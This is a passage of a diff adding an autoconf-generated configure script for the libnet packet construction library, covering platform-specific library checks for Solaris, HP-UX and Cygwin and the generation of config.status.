>&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_resolv_hstrerror=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_cv_lib_resolv_hstrerror=no +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +echo "$as_me:$LINENO: result: $ac_cv_lib_resolv_hstrerror" >&5 +echo "${ECHO_T}$ac_cv_lib_resolv_hstrerror" >&6 +if test $ac_cv_lib_resolv_hstrerror = yes; then + cat >>confdefs.h <<_ACEOF +#define HAVE_LIBRESOLV 1 +_ACEOF + + LIBS="-lresolv $LIBS" + +else + { { echo "$as_me:$LINENO: error: libresolv not found." >&5 +echo "$as_me: error: libresolv not found." >&2;} + { (exit 1); exit 1; }; } +fi + + + case "`uname -r`" in + 5.4) + +cat >>confdefs.h <<\_ACEOF +#define STUPID_SOLARIS_CHECKSUM_BUG 1 +_ACEOF + + ;; + 5.5*) + +cat >>confdefs.h <<\_ACEOF +#define STUPID_SOLARIS_CHECKSUM_BUG 1 +_ACEOF + + ;; + 5.8) + +cat >>confdefs.h <<\_ACEOF +#define STUPID_SOLARIS_CHECKSUM_BUG 1 +_ACEOF + + +cat >>confdefs.h <<\_ACEOF +#define HAVE_SOLARIS_IPV6 1 +_ACEOF + + + ;; + 5.9) + +cat >>confdefs.h <<\_ACEOF +#define STUPID_SOLARIS_CHECKSUM_BUG 1 +_ACEOF + + +cat >>confdefs.h <<\_ACEOF +#define HAVE_SOLARIS_IPV6 1 +_ACEOF + + ;; + + esac + + ADDITIONAL_LIBS='-lresolv -lsocket -lnsl' + LIBNET_CONFIG_LIBS="$LIBNET_CONFIG_LIBS -lresolv -lsocket -lnsl" + + ;; + +*hpux11*) + +cat >>confdefs.h <<\_ACEOF +#define HAVE_HPUX11 1 +_ACEOF + + +for ac_header in sys/dlpi_ext.h +do +as_ac_Header=`echo "ac_cv_header_$ac_header" | $as_tr_sh` +if eval "test \"\${$as_ac_Header+set}\" = set"; then + echo "$as_me:$LINENO: checking for $ac_header" >&5 +echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 +if eval "test \"\${$as_ac_Header+set}\" = set"; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +fi +echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 +echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 +else + # Is the header compilable? +echo "$as_me:$LINENO: checking $ac_header usability" >&5 +echo $ECHO_N "checking $ac_header usability... $ECHO_C" >&6 +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +$ac_includes_default +#include <$ac_header> +_ACEOF +rm -f conftest.$ac_objext +if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest.$ac_objext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_header_compiler=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_header_compiler=no +fi +rm -f conftest.err conftest.$ac_objext conftest.$ac_ext +echo "$as_me:$LINENO: result: $ac_header_compiler" >&5 +echo "${ECHO_T}$ac_header_compiler" >&6 + +# Is the header present? +echo "$as_me:$LINENO: checking $ac_header presence" >&5 +echo $ECHO_N "checking $ac_header presence... $ECHO_C" >&6 +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +#include <$ac_header> +_ACEOF +if { (eval echo "$as_me:$LINENO: \"$ac_cpp conftest.$ac_ext\"") >&5 + (eval $ac_cpp conftest.$ac_ext) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } >/dev/null; then + if test -s conftest.err; then + ac_cpp_err=$ac_c_preproc_warn_flag + ac_cpp_err=$ac_cpp_err$ac_c_werror_flag + else + ac_cpp_err= + fi +else + ac_cpp_err=yes +fi +if test -z "$ac_cpp_err"; then + ac_header_preproc=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_header_preproc=no +fi +rm -f conftest.err conftest.$ac_ext +echo "$as_me:$LINENO: result: $ac_header_preproc" >&5 +echo "${ECHO_T}$ac_header_preproc" >&6 + +# So? What about this header? +case $ac_header_compiler:$ac_header_preproc:$ac_c_preproc_warn_flag in + yes:no: ) + { echo "$as_me:$LINENO: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&5 +echo "$as_me: WARNING: $ac_header: accepted by the compiler, rejected by the preprocessor!" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the compiler's result" >&5 +echo "$as_me: WARNING: $ac_header: proceeding with the compiler's result" >&2;} + ac_header_preproc=yes + ;; + no:yes:* ) + { echo "$as_me:$LINENO: WARNING: $ac_header: present but cannot be compiled" >&5 +echo "$as_me: WARNING: $ac_header: present but cannot be compiled" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: check for missing prerequisite headers?" >&5 +echo "$as_me: WARNING: $ac_header: check for missing prerequisite headers?" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: see the Autoconf documentation" >&5 +echo "$as_me: WARNING: $ac_header: see the Autoconf documentation" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&5 +echo "$as_me: WARNING: $ac_header: section \"Present But Cannot Be Compiled\"" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: proceeding with the preprocessor's result" >&5 +echo "$as_me: WARNING: $ac_header: proceeding with the preprocessor's result" >&2;} + { echo "$as_me:$LINENO: WARNING: $ac_header: in the future, the compiler will take precedence" >&5 +echo "$as_me: WARNING: $ac_header: in the future, the compiler will take precedence" >&2;} + ( + cat <<\_ASBOX +## ------------------------------------------------------ ## +## Report this to the Packet construction library lists. ## +## ------------------------------------------------------ ## +_ASBOX + ) | + sed "s/^/$as_me: WARNING: /" >&2 + ;; +esac +echo "$as_me:$LINENO: checking for $ac_header" >&5 +echo $ECHO_N "checking for $ac_header... $ECHO_C" >&6 +if eval "test \"\${$as_ac_Header+set}\" = set"; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + eval "$as_ac_Header=\$ac_header_preproc" +fi +echo "$as_me:$LINENO: result: `eval echo '${'$as_ac_Header'}'`" >&5 +echo "${ECHO_T}`eval echo '${'$as_ac_Header'}'`" >&6 + +fi +if test `eval echo '${'$as_ac_Header'}'` = yes; then + cat >>confdefs.h <<_ACEOF +#define `echo "HAVE_$ac_header" | $as_tr_cpp` 1 +_ACEOF + +fi + +done + + ;; + +*cygwin*) + +cat >>confdefs.h <<\_ACEOF +#define LIBNET_BSDISH_OS 1 +_ACEOF + + +cat >>confdefs.h <<\_ACEOF +#define NO_SNPRINTF 1 +_ACEOF + + LIBNET_CONFIG_DEFINES="-DLIBNET_BSDISH_OS -DNO_SNPRINTF" + CFLAGS="$CFLAGS -mno-cygwin -O0 -fnative-struct -DNO_SNPRINTF -I/usr/include/pcap" + +echo "$as_me:$LINENO: checking for PacketSetMode in -lpacket" >&5 +echo $ECHO_N "checking for PacketSetMode in -lpacket... $ECHO_C" >&6 +if test "${ac_cv_lib_packet_PacketSetMode+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-lpacket $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any gcc2 internal prototype to avoid an error. */ +#ifdef __cplusplus +extern "C" +#endif +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char PacketSetMode (); +int +main () +{ +PacketSetMode (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_packet_PacketSetMode=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_cv_lib_packet_PacketSetMode=no +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +echo "$as_me:$LINENO: result: $ac_cv_lib_packet_PacketSetMode" >&5 +echo "${ECHO_T}$ac_cv_lib_packet_PacketSetMode" >&6 +if test $ac_cv_lib_packet_PacketSetMode = yes; then + cat >>confdefs.h <<_ACEOF +#define HAVE_LIBPACKET 1 +_ACEOF + + LIBS="-lpacket $LIBS" + +else + { { echo "$as_me:$LINENO: error: packet lib not found." >&5 +echo "$as_me: error: packet lib not found." >&2;} + { (exit 1); exit 1; }; } +fi + + +echo "$as_me:$LINENO: checking for pcap_setmode in -lwpcap" >&5 +echo $ECHO_N "checking for pcap_setmode in -lwpcap... $ECHO_C" >&6 +if test "${ac_cv_lib_wpcap_pcap_setmode+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-lwpcap $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any gcc2 internal prototype to avoid an error. */ +#ifdef __cplusplus +extern "C" +#endif +/* We use char because int might match the return type of a gcc2 + builtin and then its argument prototype would still apply. */ +char pcap_setmode (); +int +main () +{ +pcap_setmode (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (eval echo "$as_me:$LINENO: \"$ac_link\"") >&5 + (eval $ac_link) 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" + || test ! -s conftest.err' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (eval echo "$as_me:$LINENO: \"$ac_try\"") >&5 + (eval $ac_try) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_wpcap_pcap_setmode=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + +ac_cv_lib_wpcap_pcap_setmode=no +fi +rm -f conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +echo "$as_me:$LINENO: result: $ac_cv_lib_wpcap_pcap_setmode" >&5 +echo "${ECHO_T}$ac_cv_lib_wpcap_pcap_setmode" >&6 +if test $ac_cv_lib_wpcap_pcap_setmode = yes; then + cat >>confdefs.h <<_ACEOF +#define HAVE_LIBWPCAP 1 +_ACEOF + + LIBS="-lwpcap $LIBS" + +else + { { echo "$as_me:$LINENO: error: pcap lib not found." >&5 +echo "$as_me: error: pcap lib not found." >&2;} + { (exit 1); exit 1; }; } +fi + + LIBS="$LIBS -lws2_32" + ;; + +*) + { echo "$as_me:$LINENO: WARNING: apparently your OS is not officially supported yet" >&5 +echo "$as_me: WARNING: apparently your OS is not officially supported yet" >&2;} + { echo "$as_me:$LINENO: WARNING: this may not work" >&5 +echo "$as_me: WARNING: this may not work" >&2;} + echo "$as_me:$LINENO: result: please send diffs to mike@infonexus.com" >&5 +echo "${ECHO_T}please send diffs to mike@infonexus.com" >&6 + ;; + +esac + + ac_config_files="$ac_config_files Makefile src/Makefile include/Makefile include/libnet/Makefile sample/Makefile version.h include/libnet.h libnet-config" + ac_config_commands="$ac_config_commands default" +cat >confcache <<\_ACEOF +# This file is a shell script that caches the results of configure +# tests run on this system so they can be shared between configure +# scripts and configure runs, see configure's option --config-cache. +# It is not useful on other systems. If it contains results you don't +# want to keep, you may remove or edit it. +# +# config.status only pays attention to the cache file if you give it +# the --recheck option to rerun configure. +# +# `ac_cv_env_foo' variables (set or unset) will be overridden when +# loading this file, other *unset* `ac_cv_foo' will be assigned the +# following values. + +_ACEOF + +# The following way of writing the cache mishandles newlines in values, +# but we know of no workaround that is simple, portable, and efficient. +# So, don't put newlines in cache variables' values. +# Ultrix sh set writes to stderr and can't be redirected directly, +# and sets the high bit in the cache file unless we assign to the vars. +{ + (set) 2>&1 | + case `(ac_space=' '; set | grep ac_space) 2>&1` in + *ac_space=\ *) + # `set' does not quote correctly, so add quotes (double-quote + # substitution turns \\\\ into \\, and sed turns \\ into \). + sed -n \ + "s/'/'\\\\''/g; + s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\\2'/p" + ;; + *) + # `set' quotes correctly as required by POSIX, so do not add quotes. + sed -n \ + "s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1=\\2/p" + ;; + esac; +} | + sed ' + t clear + : clear + s/^\([^=]*\)=\(.*[{}].*\)$/test "${\1+set}" = set || &/ + t end + /^ac_cv_env/!s/^\([^=]*\)=\(.*\)$/\1=${\1=\2}/ + : end' >>confcache +if diff $cache_file confcache >/dev/null 2>&1; then :; else + if test -w $cache_file; then + test "x$cache_file" != "x/dev/null" && echo "updating cache $cache_file" + cat confcache >$cache_file + else + echo "not updating unwritable cache $cache_file" + fi +fi +rm -f confcache + +test "x$prefix" = xNONE && prefix=$ac_default_prefix +# Let make expand exec_prefix. +test "x$exec_prefix" = xNONE && exec_prefix='${prefix}' + +# VPATH may cause trouble with some makes, so we remove $(srcdir), +# ${srcdir} and @srcdir@ from VPATH if srcdir is ".", strip leading and +# trailing colons and then remove the whole line if VPATH becomes empty +# (actually we leave an empty line to preserve line numbers). +if test "x$srcdir" = x.; then + ac_vpsub='/^[ ]*VPATH[ ]*=/{ +s/:*\$(srcdir):*/:/; +s/:*\${srcdir}:*/:/; +s/:*@srcdir@:*/:/; +s/^\([^=]*=[ ]*\):*/\1/; +s/:*$//; +s/^[^=]*=[ ]*$//; +}' +fi + +DEFS=-DHAVE_CONFIG_H + +ac_libobjs= +ac_ltlibobjs= +for ac_i in : $LIBOBJS; do test "x$ac_i" = x: && continue + # 1. Remove the extension, and $U if already installed. + ac_i=`echo "$ac_i" | + sed 's/\$U\././;s/\.o$//;s/\.obj$//'` + # 2. Add them. + ac_libobjs="$ac_libobjs $ac_i\$U.$ac_objext" + ac_ltlibobjs="$ac_ltlibobjs $ac_i"'$U.lo' +done +LIBOBJS=$ac_libobjs + +LTLIBOBJS=$ac_ltlibobjs + + +if test -z "${MAINTAINER_MODE_TRUE}" && test -z "${MAINTAINER_MODE_FALSE}"; then + { { echo "$as_me:$LINENO: error: conditional \"MAINTAINER_MODE\" was never defined. +Usually this means the macro was only invoked conditionally." >&5 +echo "$as_me: error: conditional \"MAINTAINER_MODE\" was never defined. +Usually this means the macro was only invoked conditionally." >&2;} + { (exit 1); exit 1; }; } +fi +if test -z "${AMDEP_TRUE}" && test -z "${AMDEP_FALSE}"; then + { { echo "$as_me:$LINENO: error: conditional \"AMDEP\" was never defined. +Usually this means the macro was only invoked conditionally." >&5 +echo "$as_me: error: conditional \"AMDEP\" was never defined. +Usually this means the macro was only invoked conditionally." >&2;} + { (exit 1); exit 1; }; } +fi +if test -z "${am__fastdepCC_TRUE}" && test -z "${am__fastdepCC_FALSE}"; then + { { echo "$as_me:$LINENO: error: conditional \"am__fastdepCC\" was never defined. +Usually this means the macro was only invoked conditionally." >&5 +echo "$as_me: error: conditional \"am__fastdepCC\" was never defined. +Usually this means the macro was only invoked conditionally." >&2;} + { (exit 1); exit 1; }; } +fi +if test -z "${am__fastdepCXX_TRUE}" && test -z "${am__fastdepCXX_FALSE}"; then + { { echo "$as_me:$LINENO: error: conditional \"am__fastdepCXX\" was never defined. +Usually this means the macro was only invoked conditionally." >&5 +echo "$as_me: error: conditional \"am__fastdepCXX\" was never defined. +Usually this means the macro was only invoked conditionally." >&2;} + { (exit 1); exit 1; }; } +fi + +: ${CONFIG_STATUS=./config.status} +ac_clean_files_save=$ac_clean_files +ac_clean_files="$ac_clean_files $CONFIG_STATUS" +{ echo "$as_me:$LINENO: creating $CONFIG_STATUS" >&5 +echo "$as_me: creating $CONFIG_STATUS" >&6;} +cat >$CONFIG_STATUS <<_ACEOF +#! $SHELL +# Generated by $as_me. +# Run this file to recreate the current configuration. +# Compiler output produced by configure, useful for debugging +# configure, is in config.log if it exists. + +debug=false +ac_cs_recheck=false +ac_cs_silent=false +SHELL=\${CONFIG_SHELL-$SHELL} +_ACEOF + +cat >>$CONFIG_STATUS <<\_ACEOF +## --------------------- ## +## M4sh Initialization. ## +## --------------------- ## + +# Be Bourne compatible +if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then + emulate sh + NULLCMD=: + # Zsh 3.x and 4.x performs word splitting on ${1+"$@"}, which + # is contrary to our usage. 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do + if test $ac_beg -gt 1; then + sed "1,${ac_beg}d; ${ac_end}q" $tmp/subs.sed >$tmp/subs.frag + else + sed "${ac_end}q" $tmp/subs.sed >$tmp/subs.frag + fi + if test ! -s $tmp/subs.frag; then + ac_more_lines=false + else + # The purpose of the label and of the branching condition is to + # speed up the sed processing (if there are no `@' at all, there + # is no need to browse any of the substitutions). + # These are the two extra sed commands mentioned above. + (echo ':t + /@[a-zA-Z_][a-zA-Z_0-9]*@/!b' && cat $tmp/subs.frag) >$tmp/subs-$ac_sed_frag.sed + if test -z "$ac_sed_cmds"; then + ac_sed_cmds="sed -f $tmp/subs-$ac_sed_frag.sed" + else + ac_sed_cmds="$ac_sed_cmds | sed -f $tmp/subs-$ac_sed_frag.sed" + fi + ac_sed_frag=`expr $ac_sed_frag + 1` + ac_beg=$ac_end + ac_end=`expr $ac_end + $ac_max_sed_lines` + fi + done + if test -z "$ac_sed_cmds"; then + ac_sed_cmds=cat + fi +fi # test -n "$CONFIG_FILES" + +_ACEOF +cat >>$CONFIG_STATUS <<\_ACEOF +for ac_file in : $CONFIG_FILES; do test "x$ac_file" = x: && continue + # Support "outfile[:infile[:infile...]]", defaulting infile="outfile.in". + case $ac_file in + - | *:- | *:-:* ) # input from stdin + cat >$tmp/stdin + ac_file_in=`echo "$ac_file" | sed 's,[^:]*:,,'` + ac_file=`echo "$ac_file" | sed 's,:.*,,'` ;; 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q; } + /^X\(\/\/\)[^/].*/{ s//\1/; q; } + /^X\(\/\/\)$/{ s//\1/; q; } + /^X\(\/\).*/{ s//\1/; q; } + s/.*/./; q'` + done + test ! -n "$as_dirs" || mkdir $as_dirs + fi || { { echo "$as_me:$LINENO: error: cannot create directory \"$ac_dir\"" >&5 +echo "$as_me: error: cannot create directory \"$ac_dir\"" >&2;} + { (exit 1); exit 1; }; }; } + + ac_builddir=. + +if test "$ac_dir" != .; then + ac_dir_suffix=/`echo "$ac_dir" | sed 's,^\.[\\/],,'` + # A "../" for each directory in $ac_dir_suffix. + ac_top_builddir=`echo "$ac_dir_suffix" | sed 's,/[^\\/]*,../,g'` +else + ac_dir_suffix= ac_top_builddir= +fi + +case $srcdir in + .) # No --srcdir option. We are building in place. + ac_srcdir=. + if test -z "$ac_top_builddir"; then + ac_top_srcdir=. + else + ac_top_srcdir=`echo $ac_top_builddir | sed 's,/$,,'` + fi ;; + [\\/]* | ?:[\\/]* ) # Absolute path. + ac_srcdir=$srcdir$ac_dir_suffix; + ac_top_srcdir=$srcdir ;; + *) # Relative path. + ac_srcdir=$ac_top_builddir$srcdir$ac_dir_suffix + ac_top_srcdir=$ac_top_builddir$srcdir ;; +esac + +# Do not use `cd foo && pwd` to compute absolute paths, because +# the directories may not exist. +case `pwd` in +.) ac_abs_builddir="$ac_dir";; +*) + case "$ac_dir" in + .) ac_abs_builddir=`pwd`;; + [\\/]* | ?:[\\/]* ) ac_abs_builddir="$ac_dir";; + *) ac_abs_builddir=`pwd`/"$ac_dir";; + esac;; +esac +case $ac_abs_builddir in +.) ac_abs_top_builddir=${ac_top_builddir}.;; +*) + case ${ac_top_builddir}. in + .) ac_abs_top_builddir=$ac_abs_builddir;; + [\\/]* | ?:[\\/]* ) ac_abs_top_builddir=${ac_top_builddir}.;; + *) ac_abs_top_builddir=$ac_abs_builddir/${ac_top_builddir}.;; + esac;; +esac +case $ac_abs_builddir in +.) ac_abs_srcdir=$ac_srcdir;; +*) + case $ac_srcdir in + .) ac_abs_srcdir=$ac_abs_builddir;; + [\\/]* | ?:[\\/]* ) ac_abs_srcdir=$ac_srcdir;; + *) ac_abs_srcdir=$ac_abs_builddir/$ac_srcdir;; + esac;; +esac +case $ac_abs_builddir in +.) ac_abs_top_srcdir=$ac_top_srcdir;; +*) + case $ac_top_srcdir in + .) ac_abs_top_srcdir=$ac_abs_builddir;; + [\\/]* | ?:[\\/]* ) ac_abs_top_srcdir=$ac_top_srcdir;; + *) ac_abs_top_srcdir=$ac_abs_builddir/$ac_top_srcdir;; + esac;; +esac + + + case $INSTALL in + [\\/$]* | ?:[\\/]* ) ac_INSTALL=$INSTALL ;; + *) ac_INSTALL=$ac_top_builddir$INSTALL ;; + esac + + if test x"$ac_file" != x-; then + { echo "$as_me:$LINENO: creating $ac_file" >&5 +echo "$as_me: creating $ac_file" >&6;} + rm -f "$ac_file" + fi + # Let's still pretend it is `configure' which instantiates (i.e., don't + # use $as_me), people would be surprised to read: + # /* config.h. Generated by config.status. */ + if test x"$ac_file" = x-; then + configure_input= + else + configure_input="$ac_file. " + fi + configure_input=$configure_input"Generated from `echo $ac_file_in | + sed 's,.*/,,'` by configure." + + # First look for the input files in the build tree, otherwise in the + # src tree. + ac_file_inputs=`IFS=: + for f in $ac_file_in; do + case $f in + -) echo $tmp/stdin ;; + [\\/$]*) + # Absolute (can't be DOS-style, as IFS=:) + test -f "$f" || { { echo "$as_me:$LINENO: error: cannot find input file: $f" >&5 +echo "$as_me: error: cannot find input file: $f" >&2;} + { (exit 1); exit 1; }; } + echo "$f";; + *) # Relative + if test -f "$f"; then + # Build tree + echo "$f" + elif test -f "$srcdir/$f"; then + # Source tree + echo "$srcdir/$f" + else + # /dev/null tree + { { echo "$as_me:$LINENO: error: cannot find input file: $f" >&5 +echo "$as_me: error: cannot find input file: $f" >&2;} + { (exit 1); exit 1; }; } + fi;; + esac + done` || { (exit 1); exit 1; } +_ACEOF +cat >>$CONFIG_STATUS <<_ACEOF + sed "$ac_vpsub +$extrasub +_ACEOF +cat >>$CONFIG_STATUS <<\_ACEOF +:t +/@[a-zA-Z_][a-zA-Z_0-9]*@/!b +s,@configure_input@,$configure_input,;t t +s,@srcdir@,$ac_srcdir,;t t +s,@abs_srcdir@,$ac_abs_srcdir,;t t +s,@top_srcdir@,$ac_top_srcdir,;t t +s,@abs_top_srcdir@,$ac_abs_top_srcdir,;t t +s,@builddir@,$ac_builddir,;t t +s,@abs_builddir@,$ac_abs_builddir,;t t +s,@top_builddir@,$ac_top_builddir,;t t +s,@abs_top_builddir@,$ac_abs_top_builddir,;t t +s,@INSTALL@,$ac_INSTALL,;t t +" $ac_file_inputs | (eval "$ac_sed_cmds") >$tmp/out + rm -f $tmp/stdin + if test x"$ac_file" != x-; then + mv $tmp/out $ac_file + else + cat $tmp/out + rm -f $tmp/out + fi + +done +_ACEOF +cat >>$CONFIG_STATUS <<\_ACEOF + +# +# CONFIG_HEADER section. +# + +# These sed commands are passed to sed as "A NAME B NAME C VALUE D", where +# NAME is the cpp macro being defined and VALUE is the value it is being given. +# +# ac_d sets the value in "#define NAME VALUE" lines. +ac_dA='s,^\([ ]*\)#\([ ]*define[ ][ ]*\)' +ac_dB='[ ].*$,\1#\2' +ac_dC=' ' +ac_dD=',;t' +# ac_u turns "#undef NAME" without trailing blanks into "#define NAME VALUE". +ac_uA='s,^\([ ]*\)#\([ ]*\)undef\([ ][ ]*\)' +ac_uB='$,\1#\2define\3' +ac_uC=' ' +ac_uD=',;t' + +for ac_file in : $CONFIG_HEADERS; do test "x$ac_file" = x: && continue + # Support "outfile[:infile[:infile...]]", defaulting infile="outfile.in". + case $ac_file in + - | *:- | *:-:* ) # input from stdin + cat >$tmp/stdin + ac_file_in=`echo "$ac_file" | sed 's,[^:]*:,,'` + ac_file=`echo "$ac_file" | sed 's,:.*,,'` ;; + *:* ) ac_file_in=`echo "$ac_file" | sed 's,[^:]*:,,'` + ac_file=`echo "$ac_file" | sed 's,:.*,,'` ;; + * ) ac_file_in=$ac_file.in ;; + esac + + test x"$ac_file" != x- && { echo "$as_me:$LINENO: creating $ac_file" >&5 +echo "$as_me: creating $ac_file" >&6;} + + # First look for the input files in the build tree, otherwise in the + # src tree. + ac_file_inputs=`IFS=: + for f in $ac_file_in; do + case $f in + -) echo $tmp/stdin ;; + [\\/$]*) + # Absolute (can't be DOS-style, as IFS=:) + test -f "$f" || { { echo "$as_me:$LINENO: error: cannot find input file: $f" >&5 +echo "$as_me: error: cannot find input file: $f" >&2;} + { (exit 1); exit 1; }; } + # Do quote $f, to prevent DOS paths from being IFS'd. + echo "$f";; + *) # Relative + if test -f "$f"; then + # Build tree + echo "$f" + elif test -f "$srcdir/$f"; then + # Source tree + echo "$srcdir/$f" + else + # /dev/null tree + { { echo "$as_me:$LINENO: error: cannot find input file: $f" >&5 +echo "$as_me: error: cannot find input file: $f" >&2;} + { (exit 1); exit 1; }; } + fi;; + esac + done` || { (exit 1); exit 1; } + # Remove the trailing spaces. + sed 's/[ ]*$//' $ac_file_inputs >$tmp/in + +_ACEOF + +# Transform confdefs.h into two sed scripts, `conftest.defines' and +# `conftest.undefs', that substitutes the proper values into +# config.h.in to produce config.h. The first handles `#define' +# templates, and the second `#undef' templates. +# And first: Protect against being on the right side of a sed subst in +# config.status. Protect against being in an unquoted here document +# in config.status. +rm -f conftest.defines conftest.undefs +# Using a here document instead of a string reduces the quoting nightmare. +# Putting comments in sed scripts is not portable. +# +# `end' is used to avoid that the second main sed command (meant for +# 0-ary CPP macros) applies to n-ary macro definitions. +# See the Autoconf documentation for `clear'. +cat >confdef2sed.sed <<\_ACEOF +s/[\\&,]/\\&/g +s,[\\$`],\\&,g +t clear +: clear +s,^[ ]*#[ ]*define[ ][ ]*\([^ (][^ (]*\)\(([^)]*)\)[ ]*\(.*\)$,${ac_dA}\1${ac_dB}\1\2${ac_dC}\3${ac_dD},gp +t end +s,^[ ]*#[ ]*define[ ][ ]*\([^ ][^ ]*\)[ ]*\(.*\)$,${ac_dA}\1${ac_dB}\1${ac_dC}\2${ac_dD},gp +: end +_ACEOF +# If some macros were called several times there might be several times +# the same #defines, which is useless. Nevertheless, we may not want to +# sort them, since we want the *last* AC-DEFINE to be honored. +uniq confdefs.h | sed -n -f confdef2sed.sed >conftest.defines +sed 's/ac_d/ac_u/g' conftest.defines >conftest.undefs +rm -f confdef2sed.sed + +# This sed command replaces #undef with comments. This is necessary, for +# example, in the case of _POSIX_SOURCE, which is predefined and required +# on some systems where configure will not decide to define it. +cat >>conftest.undefs <<\_ACEOF +s,^[ ]*#[ ]*undef[ ][ ]*[a-zA-Z_][a-zA-Z_0-9]*,/* & */, +_ACEOF + +# Break up conftest.defines because some shells have a limit on the size +# of here documents, and old seds have small limits too (100 cmds). +echo ' # Handle all the #define templates only if necessary.' >>$CONFIG_STATUS +echo ' if grep "^[ ]*#[ ]*define" $tmp/in >/dev/null; then' >>$CONFIG_STATUS +echo ' # If there are no defines, we may have an empty if/fi' >>$CONFIG_STATUS +echo ' :' >>$CONFIG_STATUS +rm -f conftest.tail +while grep . conftest.defines >/dev/null +do + # Write a 